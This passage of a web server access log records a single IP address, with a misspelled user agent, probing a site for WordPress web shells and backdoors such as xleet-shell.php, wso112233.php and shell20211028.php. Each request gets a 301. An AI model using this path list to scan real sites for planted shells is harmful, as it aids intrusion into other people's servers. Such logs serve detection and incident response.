Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:10 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:13 -0400] "GET /4price3.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:15 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:16 -0400] "GET /ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:20 -0400] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:24 -0400] "GET /ioxi2.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:26 -0400] "GET /wp-includes/js/js.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:28 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:30 -0400] "GET /million.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:31 -0400] "GET /4pric.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:35 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:36 -0400] "GET /404.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:36 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:38 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:42 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:58 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:58 -0400] "GET /.well-knownold/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:00 -0400] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:01 -0400] "GET /3x.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:03 -0400] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:03 -0400] "GET /wp-admin/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:04 -0400] "GET /wp-includes/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:07 -0400] "GET /wp-content/index.php?3x=3x HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:12 -0400] "GET /wp-content/themes/wp.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:14 -0400] "GET /css/colors/blue/ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:16 -0400] "GET /wp-admin/css/colors/blue/ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:18 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:19 -0400] "GET /wp-content/plugins/prenota/alpha.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:21 -0400] "GET /wp-content/wp-links.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:23 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:27 -0400] "GET /wp-content/plugins/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:28 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:29 -0400] "GET /wp-content/uploads/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:31 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:32 -0400] "GET /wp-content/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:34 -0400] "GET /wp-includes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:36 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:37 -0400] "GET /wp-admin/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:40 -0400] "GET /wp-content/themes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:41 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:44 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:49 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:51 -0400] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:52 -0400] "GET /mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:52 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:54 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:54 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:56 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:56 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:58 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:59 -0400] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:04:59 -0400] "GET /repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:03 -0400] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:04 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:05 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:07 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:10 -0400] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:12 -0400] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:19 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:22 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:24 -0400] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:25 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:25 -0400] "GET /.well-known/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:26 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:28 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:30 -0400] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:32 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:33 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:35 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:36 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:37 -0400] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:38 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:39 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:41 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:41 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:44 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:46 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:48 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:49 -0400] "GET /.well-known/pkivalidation/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:50 -0400] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:05:52 -0400] "GET /ioxi-rex3.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:01 -0400] "GET /pm.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:04 -0400] "GET /wp-content/plugins/revslider/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:06 -0400] "GET /wp-includes/Requests/Text/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:15 -0400] "GET /.well-known/pki-validation/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:15 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:17 -0400] "GET /wp-content/plugins/fix/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:17 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:19 -0400] "GET /wp-content/plugins/proxy/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:20 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:06:22 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 